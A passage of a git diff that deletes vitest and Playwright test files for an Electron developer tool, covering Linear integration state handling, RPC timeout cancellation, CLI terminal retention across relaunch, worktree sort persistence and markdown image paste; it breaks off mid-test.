-vi.mock('@/runtime/linear/runtime-linear-client', async (importOriginal) => { - const actual = await importOriginal>() - return { - ...actual, - linearConnect: (...args: unknown[]) => linearConnect(...args), - linearDisconnect: (...args: unknown[]) => linearDisconnect(...args), - linearDisconnectWorkspace: (...args: unknown[]) => linearDisconnectWorkspace(...args), - linearListIssues: (...args: unknown[]) => linearListIssues(...args), - linearSearchIssues: (...args: unknown[]) => linearSearchIssues(...args), - linearSelectWorkspace: (...args: unknown[]) => linearSelectWorkspace(...args), - linearStatus: (...args: unknown[]) => linearStatus(...args), - linearTestConnection: (...args: unknown[]) => linearTestConnection(...args) - } -}) - -vi.mock('@/runtime/linear/runtime-linear-issue-client', async (importOriginal) => { - const actual = await importOriginal>() - return { - ...actual, - linearGetIssue: (...args: unknown[]) => linearGetIssue(...args) - } -}) - -vi.mock('@/runtime/linear/runtime-linear-project-client', async (importOriginal) => { - const actual = await importOriginal>() - return { - ...actual, - linearGetCustomView: (...args: unknown[]) => linearGetCustomView(...args), - linearGetProject: (...args: unknown[]) => linearGetProject(...args), - linearListCustomViewIssues: (...args: unknown[]) => linearListCustomViewIssues(...args), - linearListCustomViewProjects: (...args: unknown[]) => linearListCustomViewProjects(...args), - linearListCustomViews: (...args: unknown[]) => linearListCustomViews(...args), - linearListProjectIssues: (...args: unknown[]) => linearListProjectIssues(...args), - linearListProjects: (...args: unknown[]) => linearListProjects(...args), - linearListTeams: (...args: unknown[]) => linearListTeams(...args) - } -}) - -vi.mock('../../src/renderer/src/lib/work-items/linear/useIssueMetadata', () => ({ - clearLinearMetadataCache: vi.fn() -})) - -describe('createLinearSlice', () => { - beforeEach(() => { - linearStatus.mockReset() - linearConnect.mockReset() - linearDisconnect.mockReset() - linearListIssues.mockReset() - linearSearchIssues.mockReset() - linearListTeams.mockReset() - linearGetIssue.mockReset() - linearTestConnection.mockReset() - }) - - it('ignores stale forced connection checks when a newer forced check finishes first', async () => { - const staleCheck = deferred() - const freshCheck = deferred() - const viewer = { - displayName: 'Test User', - email: 'test@example.com', - organizationName: 'Test Org' - } - linearStatus.mockReturnValueOnce(staleCheck.promise).mockReturnValueOnce(freshCheck.promise) - const store = createTestStore() - - const stalePromise = store.getState().checkLinearConnection(true) - const freshPromise = store.getState().checkLinearConnection(true) - - freshCheck.resolve({ connected: true, viewer }) - await freshPromise - staleCheck.resolve({ connected: false, viewer: null }) - await stalePromise - - expect(store.getState().linearStatus.connected).toBe(true) - expect(store.getState().linearStatus.viewer?.email).toBe('test@example.com') - }) - - it('ignores stale connect results after the active runtime changes', async () => { - const connectResult = deferred<{ ok: true; viewer: LinearViewer }>() - const viewer = { - displayName: 'Local User', - email: 'local@example.com', - organizationName: 'Local Org' - } - linearConnect.mockReturnValueOnce(connectResult.promise) - const store = createTestStore() - - const connectPromise = store.getState().connectLinear('linear-key') - store.setState({ settings: { activeRuntimeEnvironmentId: 'runtime-1' } as never }) - - connectResult.resolve({ ok: true, viewer }) - await expect(connectPromise).resolves.toEqual({ - ok: true, - viewer - }) - - expect(store.getState().linearStatus.connected).toBe(false) - expect(store.getState().linearStatusContextKey).toBeNull() - store.setState({ - linearSearchCache: { - 'other::search::warm::12': { data: [issue('old-runtime')], fetchedAt: 1 } - } - }) - const workspace = workspaceFromLinearData(viewer, { id: 'workspace-1', name: 'Remote Org' }) - linearConnect.mockResolvedValueOnce({ ok: true, viewer: workspace, workspace }) - await store.getState().connectLinear('new-runtime-key') - expect(store.getState().linearSearchCache).toEqual({}) - }) - - it('ignores stale direct status writes after a newer mutation', async () => { - const testResult = deferred<{ ok: true; viewer: LinearViewer }>() - const staleStatus = deferred() - const viewer = { - displayName: 'Test User', - email: 'test@example.com', - organizationName: 'Test Org' - } - linearTestConnection.mockReturnValueOnce(testResult.promise) - linearStatus.mockReturnValueOnce(staleStatus.promise) - linearDisconnect.mockResolvedValueOnce(undefined) - const store = createTestStore() - - const testPromise = store.getState().testLinearConnection() - testResult.resolve({ ok: true, viewer }) - await Promise.resolve() - - await store.getState().disconnectLinear() - staleStatus.resolve({ connected: true, viewer }) - await testPromise - - expect(store.getState().linearStatus.connected).toBe(false) - expect(store.getState().linearStatus.viewer).toBeNull() - }) -}) diff --git a/tests/e2e/linear-write-lifetime.unit.test.ts b/tests/e2e/linear-write-lifetime.unit.test.ts deleted file mode 100644 index 97bb6297297..00000000000 --- a/tests/e2e/linear-write-lifetime.unit.test.ts +++ /dev/null @@ -1,209 +0,0 @@ -import '../../src/main/runtime/rpc/dispatch/testing/unused-default-rpc-methods.test-fixture' -import { mkdtempSync, rmSync } from 'node:fs' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { clearTimeout as clearRealTimeout, setTimeout as setRealTimeout } from 'node:timers' -import { afterEach, beforeEach, expect, it, vi } from 'vitest' -import { RuntimeClient } from '../../src/cli/runtime/client' -import * as mutations from '../../src/main/linear/issues/linear-issue-mutations' -import * as comments from '../../src/main/linear/issues/linear-issue-comments' -import * as relations from '../../src/main/linear/issues/issue-relation-write' -import { LinearWriteFailure } from '../../src/main/linear/issues/linear-issue-write-support' -import { OrcaRuntimeService } from '../../src/main/runtime/orca-runtime' -import { OrcaRuntimeRpcServer } from '../../src/main/runtime/rpc/server/runtime-rpc' -import { LINEAR_AGENT_ACCESS_METHODS } from '../../src/main/runtime/rpc/methods/integrations/linear/linear-agent-access' - -const writeId = '11111111-1111-4111-8111-111111111111' -const issue = { - id: 'issue-1', - identifier: 'ENG-1', - title: 'Title', - description: '', - url: 'https://linear.app/acme/issue/ENG-1', - team: { id: 'team-1', key: 'ENG', name: 'Engineering' }, - state: { id: 'todo', name: 'Todo' }, - parent: null, - project: null, - assignee: null, - priority: 0, - estimate: null, - dueDate: null, - labelIds: [], - labels: [] -} -const target = { issue, workspaceId: 'w1' } -const comment = { - id: writeId, - url: null, - body: 'old', - issue, - parentId: null, - threadRootId: writeId -} -let runtime: OrcaRuntimeService -let server: OrcaRuntimeRpcServer -let userDataPath: string -let failure: LinearWriteFailure - -async function observe(pending: Promise, phase: string): Promise { - let timer: ReturnType | undefined - try { - return await Promise.race([ - pending, - new Promise((_resolve, reject) => { - timer = setRealTimeout(() => reject(new Error(`Timed out observing ${phase}`)), 2_000) - }) - ]) - } finally { - clearRealTimeout(timer) - } -} - -beforeEach(async () => { - userDataPath = mkdtempSync(join(tmpdir(), 'linear-write-cli-')) - vi.stubEnv('ORCA_USER_DATA_PATH', userDataPath) - for (const name of [ - 'ORCA_PAIRING_CODE', - 'ORCA_REMOTE_PAIRING', - 'ORCA_ENVIRONMENT', - 'ORCA_WORKTREE_ID', - 'ORCA_TERMINAL_HANDLE', - 'ORCA_RUNTIME_SOURCE_ID' - ]) { - vi.stubEnv(name, '') - } - process.exitCode = 0 - vi.spyOn(console, 'log').mockImplementation(() => {}) - vi.spyOn(console, 'error').mockImplementation(() => {}) - runtime = new OrcaRuntimeService() - vi.spyOn(runtime, 'resolveLinearAgentWriteTarget').mockImplementation(async (params) => - params.input === 'ENG-2' - ? { ...target, issue: { ...issue, id: 'issue-2', identifier: 'ENG-2' } } - : target - ) - vi.spyOn(runtime, 'resolveLinearCreateTeam').mockResolvedValue({ - ...issue.team, - workspaceId: 'w1' - }) - vi.spyOn(runtime, 'getLinearTeamStatesForWrite').mockResolvedValue([ - { id: 'done', name: 'Done', type: 'completed', color: '#888888', position: 1 } - ]) - vi.spyOn(runtime, 'readLinearAgentIssueWriteRecord').mockResolvedValue(issue) - vi.spyOn(runtime, 'getLinearTeamLabelsForWrite').mockResolvedValue([ - { id: 'bug', name: 'Bug', color: '#888888' } - ]) - vi.spyOn(runtime, 'getLinearViewerForWrite').mockResolvedValue({ id: 'user-1' }) - vi.spyOn(runtime, 'resolveLinearAgentComment').mockResolvedValue({ comment, workspaceId: 'w1' }) - vi.spyOn(runtime, 'getMatchingLinearCommentWrite').mockResolvedValue(null) - vi.spyOn(runtime, 'getMatchingLinearAttachmentWrite').mockResolvedValue(null) - vi.spyOn(runtime, 'getMatchingLinearCreatedIssue').mockResolvedValue(null) - vi.spyOn(runtime, 'notifyLinearLinkedIssueUpdated').mockReturnValue(undefined) - failure = new LinearWriteFailure('unconfirmed', 'Confirmation lost') - const lost = () => { - throw failure - } - vi.spyOn(mutations, 'updateIssueForAgent').mockImplementation( - async (_id, _fields, _workspace, options) => { - options?.beforeInvoke?.() - return lost() - } - ) - vi.spyOn(mutations, 'createIssueForAgent').mockImplementation( - async (_team, _title, _body, _workspace, options) => { - options.beforeInvoke?.() - return lost() - } - ) - vi.spyOn(comments, 'addIssueCommentForAgent').mockImplementation( - async (_id, _body, _workspace, options) => { - options.beforeInvoke?.() - return lost() - } - ) - vi.spyOn(comments, 'createIssueAttachment').mockImplementation( - async (_id, _input, _workspace, options) => { - options?.beforeInvoke?.() - return lost() - } - ) - vi.spyOn(comments, 'updateIssueCommentForAgent').mockImplementation( - async (_id, _body, _workspace, options) => { - options?.beforeInvoke?.() - return lost() - } - ) - vi.spyOn(comments, 'deleteIssueCommentForAgent').mockImplementation( - async (_id, _workspace, options) => { - options?.beforeInvoke?.() - return lost() - } - ) - vi.spyOn(relations, 'writeIssueRelation').mockImplementation(async (params) => { - params.beforeInvoke?.() - return lost() - }) - server = new OrcaRuntimeRpcServer({ runtime, userDataPath, methods: LINEAR_AGENT_ACCESS_METHODS }) - await server.start() -}) - -afterEach(async () => { - vi.useRealTimers() - await server.stop() - vi.restoreAllMocks() - vi.unstubAllEnvs() - process.exitCode = 0 - rmSync(userDataPath, { recursive: true, force: true }) -}) - -it('propagates real client socket timeout into preparation cancellation', async () => { - let release = () => {} - let entered = () => {} - let cancelled = () => {} - const held = new Promise((resolve) => { - release = () => resolve(target) - }) - const started = new Promise((resolve) => { - entered = resolve - }) - const aborted = new Promise((resolve) => { - cancelled = resolve - }) - vi.mocked(runtime.resolveLinearAgentWriteTarget).mockImplementation((_params, signal) => { - signal?.addEventListener('abort', () => cancelled(), { once: true }) - entered() - return held - }) - const dispatch = vi.spyOn(runtime, 'linearIssueSetState') - vi.useFakeTimers({ toFake: ['Date', 'setTimeout', 'clearTimeout'] }) - const client = new RuntimeClient(userDataPath, 30, null, null) - const pending = client.call('linear.issueSetState', { input: 'ENG-1', to: 'Done' }).then( - (value) => ({ value }), - (error) => ({ error }) - ) - try { - await observe(started, 'preparation admission before client timeout') - expect(mutations.updateIssueForAgent).not.toHaveBeenCalled() - await vi.advanceTimersByTimeAsync(30) - expect(await observe(pending, 'client timeout')).toMatchObject({ - error: { code: 'runtime_timeout' } - }) - await observe(aborted, 'socket-close cancellation at preparation') - expect(mutations.updateIssueForAgent).not.toHaveBeenCalled() - release() - await new Promise((resolve) => setImmediate(resolve)) - expect(mutations.updateIssueForAgent).not.toHaveBeenCalled() - } finally { - release() - await vi.advanceTimersByTimeAsync(30) - await observe(pending, 'client settlement') - const request = dispatch.mock.results[0] - if (request?.type === 'return') { - await observe( - Promise.resolve(request.value).catch(() => {}), - 'dispatch settlement' - ) - } - } - expect(mutations.updateIssueForAgent).not.toHaveBeenCalled() - expect(vi.getTimerCount()).toBe(0) -}) diff --git a/tests/e2e/local-cli-terminal-retention.spec.ts b/tests/e2e/local-cli-terminal-retention.spec.ts deleted file mode 100644 index d964783695f..00000000000 --- a/tests/e2e/local-cli-terminal-retention.spec.ts +++ /dev/null @@ -1,322 +0,0 @@ -// Use the shipped local CLI socket with one attached desktop and no paired client. -// Create the first host-admitted tab under a proven renderer publication epoch; graph sync must retain its original PTY. -// On relaunch, a genuinely absent pane’s disk-seeded resume record proves the sweep runs while the retained CLI pane must not gain a ghost tab. -import { randomUUID } from 'node:crypto' -import { existsSync, readFileSync, rmSync } from 'node:fs' -import path from 'node:path' -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { RuntimeClient } from '../../src/cli/runtime/client' -import { makePaneKey } from '../../src/shared/workspace-layout/stable-pane-id' -import { expect, test } from './helpers/orca-app' -import { TEST_REPO_PATH_FILE } from './global-setup' -import { attachRepoAndOpenTerminal, createRestartSession } from './helpers/orca-restart' -import { mutateStoppedProfileState } from './helpers/persisted-profile-state' -import { waitForSessionReady } from './helpers/store' -import { - createHostCliTerminal, - createHostRendererTerminalTab, - createRetentionFixtureDirectory, - proveSameLivePty, - readHostInventoryWhenTabAppears, - readHostTerminalInventory, - writeRetentionFixture, - type RuntimeRpcCall -} from './helpers/host-created-terminal-retention-oracle' - -const scratch = createRetentionFixtureDirectory() -const fixturePath = writeRetentionFixture(scratch) - -const CLI_PANE_SESSION_ID = 'local-cli-retention-cli-pane' -const ABSENT_PANE_SESSION_ID = 'local-cli-retention-absent-pane' - -test.afterAll(() => { - rmSync(scratch, { recursive: true, force: true }) -}) - -// First paint can precede runtime worktree discovery; wait until selectors resolve the seeded workspace. -async function waitForLocalRuntimeWorktree( - call: RuntimeRpcCall, - worktreeId: string -): Promise { - await expect - .poll( - async () => - call('worktree.show', { worktree: `id:${worktreeId}` }).then( - () => true, - () => false - ), - { - timeout: 120_000, - message: `local runtime never resolved worktree ${worktreeId}` - } - ) - .toBe(true) -} - -type WorktreeTabSnapshot = { - tabIds: string[] - resumeTabIds: string[] -} - -function isObject(value: unknown): value is Record { - return typeof value === 'object' && value !== null -} - -/** The stopped profile's resume records, as the live object a mutation writes through. */ -function sleepingRecordsOf(state: Record): Record { - const session = state.workspaceSession - if (!isObject(session)) { - throw new Error('The stopped profile has no workspace session') - } - const existing = session.sleepingAgentSessionsByPaneKey - const records = isObject(existing) ? existing : {} - session.sleepingAgentSessionsByPaneKey = records - return records -} - -/** The fixture's external worktree is hidden on a new repo; the unrelated-workspace control needs it. */ -async function showSeededWorktrees(page: Page): Promise { - await expect - .poll( - () => - page.evaluate(async () => { - const store = window.__store - const repo = store?.getState().repos[0] - if (!store || !repo) { - return 0 - } - await store.getState().updateRepo(repo.id, { externalWorktreeVisibility: 'show' }) - await store.getState().fetchWorktrees(repo.id) - return store.getState().allWorktrees().length - }), - { timeout: 30_000, message: 'seeded e2e worktrees did not load' } - ) - .toBeGreaterThan(1) -} - -function runtimeCall(userDataDir: string): RuntimeRpcCall { - // The shipped CLI's own transport, against this app's profile: no pairing. - const client = new RuntimeClient(userDataDir, 30_000, null, null) - return async (method: string, params: unknown) => - (await client.call(method, params)).result -} - -test('keeps a locally created CLI terminal, and never resumes it as a ghost', async (// oxlint-disable-next-line no-empty-pattern -- Playwright's second fixture arg is testInfo; the first must be an object destructure to opt out of the default fixture set. -{}, testInfo) => { - test.setTimeout(600_000) - const repoPath = readFileSync(TEST_REPO_PATH_FILE, 'utf-8').trim() - if (!repoPath || !existsSync(repoPath)) { - test.skip(true, 'Global setup did not produce a seeded test repo') - return - } - const pageErrors: string[] = [] - const session = createRestartSession(testInfo) - let app: ElectronApplication | null = null - let call: RuntimeRpcCall | null = null - const createdHandles: string[] = [] - - try { - const firstLaunch = await session.launch() - app = firstLaunch.app - const firstPage = firstLaunch.page - firstPage.on('pageerror', (error) => pageErrors.push(String(error))) - const worktreeId = await attachRepoAndOpenTerminal(firstPage, repoPath) - await waitForSessionReady(firstPage) - await showSeededWorktrees(firstPage) - const unrelatedWorktreeId = await firstPage.evaluate((active) => { - const unrelated = window.__store - ?.getState() - .allWorktrees() - .find((worktree) => worktree.id !== active) - if (!unrelated) { - throw new Error('Host fixture needs a second worktree for the unrelated-workspace control') - } - return unrelated.id - }, worktreeId) - call = runtimeCall(session.userDataDir) - - await waitForLocalRuntimeWorktree(call, worktreeId) - await waitForLocalRuntimeWorktree(call, unrelatedWorktreeId) - - // Require renderer publication so the CLI tab cannot inherit the already-safe headless epoch. - const rendererTabId = await createHostRendererTerminalTab(firstPage, worktreeId) - const rendererOwned = await readHostInventoryWhenTabAppears( - call, - worktreeId, - rendererTabId, - 'Host never published the renderer terminal tab' - ) - expect( - rendererOwned.publicationEpoch, - 'the attached-window topology requires a renderer-owned publication; a headless epoch takes a different, already-correct path' - ).toMatch(/^renderer:/) - const baselineTabIds = [...rendererOwned.tabIds].sort() - - const cli = await createHostCliTerminal( - call, - worktreeId, - fixturePath, - path.join(scratch, 'local-target.log') - ) - createdHandles.push(cli.handle) - const unrelated = await createHostCliTerminal( - call, - unrelatedWorktreeId, - fixturePath, - path.join(scratch, 'local-unrelated.log') - ) - createdHandles.push(unrelated.handle) - - const secondRendererTabId = await createHostRendererTerminalTab(firstPage, worktreeId) - - // Judge the inventory frame that introduces the renderer tab and could prune the CLI tab. - const afterSync = await readHostInventoryWhenTabAppears( - call, - worktreeId, - secondRendererTabId, - 'Host never republished with the second renderer tab' - ) - expect( - afterSync.tabIds, - 'the renderer graph sync pruned the CLI-created terminal out of the host session inventory' - ).toContain(cli.tabId) - expect( - afterSync.ptyIdByTabId[cli.tabId], - 'the surviving tab must still name the original PTY, not a replacement' - ).toBe(cli.ptyId) - - await proveSameLivePty(call, cli, 'after-sync') - - // Require exactly the original tabs so replacement/resume tabs cannot hide behind CLI presence. - expect( - [...afterSync.tabIds].sort(), - 'the workspace gained or lost a terminal tab across the graph sync' - ).toEqual([...baselineTabIds, cli.tabId, secondRendererTabId].sort()) - - // NEGATIVE SAFETY: no fanout into an unrelated workspace. - const unrelatedInventory = await readHostTerminalInventory(call, unrelatedWorktreeId) - expect(unrelatedInventory.tabIds, 'an unrelated workspace lost its CLI terminal').toContain( - unrelated.tabId - ) - expect(unrelatedInventory.ptyIdByTabId[unrelated.tabId]).toBe(unrelated.ptyId) - await proveSameLivePty(call, unrelated, 'unrelated-alive') - - const cliPaneKey = makePaneKey(cli.tabId, cli.leafId) - // Seed the same status-store entry a real agent hook reports, keeping this fixture hermetic. - await firstPage.evaluate( - ({ paneKey, sessionId, worktreeId }) => { - window.__store?.getState().setAgentStatus( - paneKey, - { - state: 'working', - prompt: 'local cli retention', - agentType: 'claude' - }, - 'Claude', - undefined, - { worktreeId }, - { providerSession: { key: 'session_id', id: sessionId } } - ) - }, - { paneKey: cliPaneKey, sessionId: CLI_PANE_SESSION_ID, worktreeId } - ) - await expect - .poll( - () => - firstPage.evaluate( - (paneKey) => - window.__store?.getState().sleepingAgentSessionsByPaneKey[paneKey] !== undefined, - cliPaneKey - ), - { timeout: 30_000, message: 'the seeded provider session never became a sleeping record' } - ) - .toBe(true) - - // Relaunch reruns the resume sweep with the retained pane; its daemon PTY stays alive. - await session.close(app) - app = null - - // Seed an absent pane’s resume record as the positive control for sweep execution. - const absentTabId = randomUUID() - const absentPaneKey = makePaneKey(absentTabId, randomUUID()) - mutateStoppedProfileState(session.userDataDir, (state) => { - const records = sleepingRecordsOf(state) - const cliRecord = records[cliPaneKey] - if (!isObject(cliRecord)) { - throw new Error('the CLI pane reported a session, so quit must save its record') - } - records[absentPaneKey] = { - ...cliRecord, - paneKey: absentPaneKey, - tabId: absentTabId, - providerSession: { key: 'session_id', id: ABSENT_PANE_SESSION_ID } - } - }) - - const secondLaunch = await session.launch() - app = secondLaunch.app - const orcaPage = secondLaunch.page - orcaPage.on('pageerror', (error) => pageErrors.push(String(error))) - call = runtimeCall(session.userDataDir) - await waitForSessionReady(orcaPage) - await expect - .poll(() => orcaPage.evaluate(() => window.__store?.getState().activeWorktreeId), { - timeout: 60_000, - message: 'relaunched renderer never reactivated the measured worktree' - }) - .toBe(worktreeId) - - const readWorktreeTabs = async (): Promise => - orcaPage.evaluate((worktreeId) => { - const tabs = window.__store?.getState().tabsByWorktree[worktreeId] ?? [] - return { - tabIds: tabs.map((tab) => tab.id), - resumeTabIds: tabs.filter((tab) => tab.launchAgent === 'claude').map((tab) => tab.id) - } - }, worktreeId) - // Require the absent record’s replay before interpreting CLI silence as no ghost. - await expect - .poll(async () => (await readWorktreeTabs()).resumeTabIds.length > 0, { - timeout: 60_000, - message: 'the activation sweep never replayed the record whose pane is gone' - }) - .toBe(true) - const resumed = await readWorktreeTabs() - expect( - resumed.resumeTabIds, - 'the sweep replayed more than the one record whose pane is gone' - ).toHaveLength(1) - expect( - resumed.tabIds, - 'the retained CLI tab did not survive the relaunch the resume sweep runs on' - ).toContain(cli.tabId) - // Main's inventory, not the window's tab: a layout-owner window names a hidden tab's PTY on mount. - expect( - (await readHostTerminalInventory(call, worktreeId)).ptyIdByTabId[cli.tabId], - 'the relaunched CLI tab must still name the original PTY, not a replacement' - ).toBe(cli.ptyId) - await proveSameLivePty(call, cli, 'after-relaunch') - expect( - await orcaPage.evaluate( - (paneKey) => - window.__store?.getState().sleepingAgentSessionsByPaneKey[paneKey] !== undefined, - cliPaneKey - ), - 'the CLI pane owns its session, so its record must still be asleep, not consumed by a resume' - ).toBe(true) - expect( - resumed.tabIds.filter((tabId) => !baselineTabIds.includes(tabId)).sort(), - 'the relaunched workspace carries a tab no step of this journey created' - ).toEqual([cli.tabId, secondRendererTabId, resumed.resumeTabIds[0]!].sort()) - - expect(pageErrors, 'host renderer raised an uncaught error').toEqual([]) - } finally { - for (const handle of createdHandles) { - await call?.('terminal.closeTab', { terminal: handle }).catch(() => undefined) - } - if (app) { - await session.close(app) - } - await session.dispose() - } -}) diff --git a/tests/e2e/manual-worktree-order-persistence.spec.ts b/tests/e2e/manual-worktree-order-persistence.spec.ts deleted file mode 100644 index 2341b948e6d..00000000000 --- a/tests/e2e/manual-worktree-order-persistence.spec.ts +++ /dev/null @@ -1,225 +0,0 @@ -import { expect, test } from './helpers/orca-app' -import type { Page } from '@stablyai/playwright-test' -import { attachRepoAndOpenTerminal, createRestartSession } from './helpers/orca-restart' -import { waitForSessionReady } from './helpers/store' - -async function visibleWorktreeIds(page: Page): Promise { - return page - .locator('[data-worktree-sidebar] [role="option"][data-worktree-id]') - .evaluateAll((elements) => - elements - .map((element) => ({ - id: element.getAttribute('data-worktree-id') ?? '', - top: element.getBoundingClientRect().top - })) - .sort((left, right) => left.top - right.top) - .map((entry) => entry.id) - ) -} - -async function dragBefore(page: Page, sourceId: string, targetId: string): Promise { - const source = page.locator(`[data-worktree-id=${JSON.stringify(sourceId)}]`).first() - const target = page.locator(`[data-worktree-id=${JSON.stringify(targetId)}]`).first() - await expect(source).toBeVisible() - await expect(target).toBeVisible() - const sourceBox = await source.boundingBox() - const targetBox = await target.boundingBox() - if (!sourceBox || !targetBox) { - throw new Error('Manual-order drag geometry was unavailable') - } - await page.mouse.move(sourceBox.x + sourceBox.width / 2, sourceBox.y + sourceBox.height / 2) - await page.mouse.down() - await page.mouse.move(targetBox.x + targetBox.width / 2, targetBox.y + 3, { steps: 8 }) - await page.mouse.up() -} - -test('manual drag survives activity and persisted-profile reload', async ({ - testRepoPath -}, testInfo) => { - test.setTimeout(240_000) - const session = createRestartSession(testInfo) - let firstApp: Awaited>['app'] | null = null - let secondApp: Awaited>['app'] | null = null - let createdIds: string[] = [] - - try { - const first = await session.launch() - firstApp = first.app - await waitForSessionReady(first.page) - await attachRepoAndOpenTerminal(first.page, testRepoPath) - createdIds = await first.page.evaluate(async () => { - const store = window.__store - if (!store) { - throw new Error('store unavailable') - } - const state = store.getState() - state.setGroupBy('none') - state.setSortBy('smart') - state.setShowSleepingWorkspaces(true) - const repoId = state.allWorktrees()[0]?.repoId - if (!repoId) { - throw new Error('seed repo was not loaded') - } - const names = ['manual-order-a', 'manual-order-b', 'manual-order-c'] - const created: string[] = [] - for (const name of names) { - created.push((await state.createWorktree(repoId, name, undefined, 'skip')).worktree.id) - } - return created - }) - - await expect - .poll( - () => - first.page - .locator('[data-worktree-sidebar] [role="option"][data-worktree-id]') - .evaluateAll( - (elements, ids) => - ids.every((id) => - elements.some((element) => element.getAttribute('data-worktree-id') === id) - ), - createdIds - ), - { timeout: 30_000 } - ) - .toBe(true) - const initialOrder = (await visibleWorktreeIds(first.page)).filter((id) => - createdIds.includes(id) - ) - const sourceId = createdIds.at(-1)! - // Why: dropping before the row that already follows the source is a no-op that keeps Smart sort. - const sourceIndex = initialOrder.indexOf(sourceId) - const targetId = initialOrder.find((id, index) => id !== sourceId && index !== sourceIndex + 1)! - await dragBefore(first.page, sourceId, targetId) - - const manualOrderAfterDrag = await first.page.evaluate((ids) => { - const state = window.__store?.getState() - if (!state) { - throw new Error('store unavailable') - } - return { - sortBy: state.sortBy, - rows: state - .allWorktrees() - .map((worktree) => ({ - id: worktree.id, - manualOrder: worktree.manualOrder, - sortOrder: worktree.sortOrder - })) - .filter((row) => ids.includes(row.id)) - } - }, createdIds) - expect(manualOrderAfterDrag.sortBy).toBe('manual') - expect(manualOrderAfterDrag.rows.every((row) => Number.isFinite(row.manualOrder))).toBe(true) - const expectedOrder = [...manualOrderAfterDrag.rows] - .sort((left, right) => (right.manualOrder ?? 0) - (left.manualOrder ?? 0)) - .map((row) => row.id) - expect((await visibleWorktreeIds(first.page)).filter((id) => createdIds.includes(id))).toEqual( - expectedOrder - ) - - await first.page.evaluate(async (activityId) => { - const store = window.__store - if (!store) { - throw new Error('store unavailable') - } - store.getState().bumpWorktreeActivity(activityId) - const orderedIds = store - .getState() - .allWorktrees() - .map((worktree) => worktree.id) - .filter((id) => id !== activityId) - await window.api.worktrees.persistSortOrder({ orderedIds: [activityId, ...orderedIds] }) - await store.getState().fetchAllWorktrees() - }, targetId) - // Why: the activity save above is awaited, so the sidebar must still show the manual order. - await expect - .poll(() => - visibleWorktreeIds(first.page).then((ids) => ids.filter((id) => createdIds.includes(id))) - ) - .toEqual(expectedOrder) - - await expect - .poll(async () => { - const [ui, worktrees] = await first.page.evaluate(async (ids) => { - const [persistedUi, repos] = await Promise.all([ - window.api.ui.get(), - window.api.repos.list() - ]) - const persistedWorktrees = ( - await Promise.all( - repos.map((repo) => window.api.worktrees.listDetected({ repoId: repo.id })) - ) - ).flatMap((result) => result.worktrees.filter((worktree) => worktree.visible)) - return [ - persistedUi, - persistedWorktrees - .filter((worktree) => ids.includes(worktree.id)) - .map((worktree) => ({ id: worktree.id, manualOrder: worktree.manualOrder })) - ] as const - }, createdIds) - return { - sortBy: ui.sortBy, - ranks: Object.fromEntries(worktrees.map((row) => [row.id, row.manualOrder])) - } - }) - .toEqual({ - sortBy: 'manual', - ranks: Object.fromEntries(manualOrderAfterDrag.rows.map((row) => [row.id, row.manualOrder])) - }) - - await session.close(firstApp) - firstApp = null - const second = await session.launch() - secondApp = second.app - await waitForSessionReady(second.page) - const reloadedState = await second.page.evaluate((ids) => { - const state = window.__store?.getState() - if (!state) { - throw new Error('store unavailable') - } - return { - sortBy: state.sortBy, - rows: state - .allWorktrees() - .filter((worktree) => ids.includes(worktree.id)) - .map((worktree) => ({ id: worktree.id, manualOrder: worktree.manualOrder })) - } - }, createdIds) - expect(reloadedState.sortBy).toBe('manual') - const reloadedRows = reloadedState.rows - expect(reloadedRows.every((row) => Number.isFinite(row.manualOrder))).toBe(true) - expect(reloadedRows.map((row) => row.id).sort()).toEqual(expectedOrder.slice().sort()) - expect(new Map(reloadedRows.map((row) => [row.id, row.manualOrder]))).toEqual( - new Map(manualOrderAfterDrag.rows.map((row) => [row.id, row.manualOrder])) - ) - await expect - .poll( - () => - visibleWorktreeIds(second.page).then((ids) => - ids.filter((id) => createdIds.includes(id)) - ), - { timeout: 30_000 } - ) - .toEqual(expectedOrder) - } finally { - if (secondApp && createdIds.length > 0) { - await secondApp - .firstWindow() - .then((page) => - page.evaluate(async (ids) => { - for (const id of ids) { - await window.__store?.getState().removeWorktree({ id, executionHostId: null }, true) - } - }, createdIds) - ) - .catch(() => undefined) - } - for (const app of [secondApp, firstApp]) { - if (app) { - await session.close(app).catch(() => undefined) - } - } - await session.dispose() - } -}) diff --git a/tests/e2e/markdown-async-image-paste.spec.ts b/tests/e2e/markdown-async-image-paste.spec.ts deleted file mode 100644 index 1d43896faec..00000000000 --- a/tests/e2e/markdown-async-image-paste.spec.ts +++ /dev/null @@ -1,236 +0,0 @@ -import { writeFile } from 'node:fs/promises' -import path from 'node:path' -import type { Editor } from '@tiptap/core' -import type { Locator } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { - cleanupMarkdownFixture, - createMarkdownFixture, - getActiveWorktreeContext, - openMarkdownFixture, - waitForRichMarkdownEditor -} from './helpers/markdown-editor-fixture' - -const PNG = - 'iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAIAAAAlC+aJAAAAYUlEQVR4nO3PIREAIBAAMFqhMWgyUYMun4QQaBQZEO92twIrZ/RUde1URUBAQEBAQEBAQEBAQEBAQEBAQEBAQEDgO9BiprrRUgkICAgICAgICAgICAgICAgICAgICAgIfHuebLmH1pKnMwAAAABJRU5ErkJggg==' - -type RichMarkdownImageEditorElement = HTMLElement & { editor?: Editor } - -declare global { - var __markdownImagePasteRelease: (() => void) | undefined -} - -async function pasteImage(editor: Locator) { - return editor.evaluate((element, png) => { - const editorElement = - document.querySelector('.rich-markdown-editor') - if (!editorElement || editorElement !== element || !editorElement.editor) { - throw new Error('Markdown editor unavailable') - } - const instance = editorElement.editor - const readSelection = () => ({ - from: instance.state.selection.from, - to: instance.state.selection.to, - selectedText: instance.state.doc.textBetween( - instance.state.selection.from, - instance.state.selection.to - ) - }) - const priorSelection = readSelection() - // Establish the selection in the paste turn, after initial focus and screenshot work. - editorElement.focus() - instance.commands.setTextSelection({ from: 7, to: 12 }) - const data = new DataTransfer() - const bytes = Uint8Array.from(atob(png), (character) => character.charCodeAt(0)) - data.items.add(new File([bytes], 'image.png', { type: 'image/png' })) - const event = new ClipboardEvent('paste', { - bubbles: true, - cancelable: true, - clipboardData: data - }) - const before = readSelection() - const domSelection = window.getSelection()?.toString() - element.dispatchEvent(event) - return { - priorSelection, - before, - after: readSelection(), - domSelection, - handled: event.defaultPrevented - } - }, PNG) -} - -test('image paste replaces its selection after editing during clipboard import', async ({ - orcaPage, - electronApp, - registerPostElectronShutdownCleanup -}, testInfo) => { - const context = await 